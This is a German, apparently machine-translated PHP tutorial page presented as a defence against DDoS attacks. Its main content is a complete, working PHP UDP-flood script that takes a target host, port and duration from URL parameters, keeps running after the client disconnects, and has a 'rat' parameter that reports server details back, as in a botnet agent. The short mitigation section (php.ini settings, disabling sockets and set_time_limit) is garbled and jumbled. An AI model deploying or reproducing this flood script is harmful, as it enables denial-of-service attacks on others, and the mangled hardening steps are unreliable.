Heim >Backend-Entwicklung >PHP-Tutorial >PHP-Lösung für DDoS-Angriffe
Verstehen Sie zunächst DDoS: Distributed Denial of Service (DDoS: Distributed Denial of Service)-Angriff bezieht sich auf die Verwendung von Client/Server-Technologie, um mehrere Computer als Angriffsplattform zu vereinen, um DDoS gegen ein oder mehrere Ziele zu starten Die Schlagkraft von Denial-of-Service-Angriffen nimmt exponentiell zu. Normalerweise verwendet ein Angreifer ein gestohlenes Konto, um das DDoS-Masterprogramm auf einem Computer zu installieren. Zu einem festgelegten Zeitpunkt kommuniziert das Masterprogramm mit einer großen Anzahl von Agenten, die auf vielen Computern installiert sind. Der Agent startet den Angriff, wenn er dazu aufgefordert wird. Mithilfe der Client/Server-Technologie kann das Masterprogramm in Sekundenschnelle Hunderte oder Tausende von Agentenläufen aktivieren.
Lassen Sie uns eine Analogie verwenden, um im Detail zu verstehen, was DDOS ist. Eine Gruppe von Tyrannen versucht, den normalen Betrieb des Konkurrenzgeschäfts zu verhindern. Welche Methoden werden sie anwenden? (Dies ist nur ein Beispiel, nicht nachahmen.) Tyrannen geben vor, normale Kunden zu sein und drängen sich in die Geschäfte ihrer Konkurrenten, aber echte Käufer können nicht hineingehen, oder sie unterhalten sich immer mit den Verkäufern, sodass das Personal nicht gehen kann Kunden normal bedienen; es kann den Ladenbetreibern auch falsche Informationen liefern. Nachdem alle im Laden beschäftigt sind, stellen sie fest, dass alles umsonst ist, und verlieren schließlich die wirklich großen Kunden, was zu schweren Verlusten führt. Darüber hinaus ist es für Mobber manchmal schwierig, diese schlechten Taten alleine zu begehen, und erfordert die Zusammenarbeit vieler Menschen. Nun, DoS- und DDoS-Angriffe im Bereich der Netzwerksicherheit folgen diesen Ideen. Dieser Artikel stellt hauptsächlich die Lösung für DDoS-Angriffe in PHP vor. Er analysiert die Prinzipien und gezielten Lösungen von DDoS-Angriffsprogrammen. Es ist eine sehr praktische Fähigkeit
Sehen Sie sich zuerst den Quellcode an. Der Code lautet wie folgt:
<?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Parameters can not be empty!"; exit; } for($i=0;$i<$Sendlen;$i++){ $out .= "A"; } $max_time = time()+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port<br><br>"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>Der Schlüsselcode lautet wie folgt:
Die Methode ist Ganz einfach: Senden Sie ein UDP-Paket an den Zielhost. In Verbindung mit der Definition einer Endlosschleife
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);wird ein größerer Druck erzeugt.
Setzen Sie
in php.ini Er kann das Paket weiterhin senden. Der Code lautet wie folgt:wird geändert in
allow_url_fopen = Off
APACHE, IIS und NGINX neu starten, um das Senden von PHP-DDOS zu verhindern Pakete.
extension=php_sockets.dllAußerdem sagten einige Internetnutzer, dass es sehr einfach sei, das Skript „Disallow“ auf „kein Timeout“ einzustellen: 1. Deaktivieren Sie die Funktion „set_time_limit“
;extension=php_sockets.dll2. Aktivieren Sie den
abgesicherten Modus
(safe_mode=on).Das obige ist der detaillierte Inhalt vonPHP-Lösung für DDoS-Angriffe. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!